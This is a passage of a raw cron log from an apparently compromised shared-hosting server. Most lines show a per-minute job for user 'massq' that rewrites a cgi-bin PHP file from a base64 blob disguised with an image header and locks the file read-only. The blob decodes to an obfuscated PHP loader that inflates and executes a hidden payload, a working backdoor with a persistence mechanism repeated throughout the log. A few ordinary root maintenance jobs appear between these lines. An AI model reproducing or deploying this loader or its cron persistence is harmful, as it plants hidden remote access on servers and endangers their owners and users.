ZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:48:01 server CROND[14864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:49:01 server CROND[14928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:50:01 server CROND[14994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:50:01 server CROND[14996]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 06:50:01 server CROND[14998]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:50:01 server CROND[14997]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 06:50:01 server CROND[14999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:51:01 server CROND[15118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:52:01 server CROND[15187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:53:01 server CROND[15251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:54:01 server CROND[15309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:55:01 server CROND[15366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:55:01 server CROND[15367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:55:01 server CROND[15368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:56:01 server CROND[15474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:57:01 server CROND[15640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:57:01 server CROND[15641]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 06:58:01 server CROND[15707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:59:01 server CROND[15766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:00:01 server CROND[15831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 07:00:01 server CROND[15832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 07:00:01 server CROND[15833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:00:01 server CROND[15834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 07:01:01 server CROND[15954]: (root) CMD (run-parts /etc/cron.hourly)
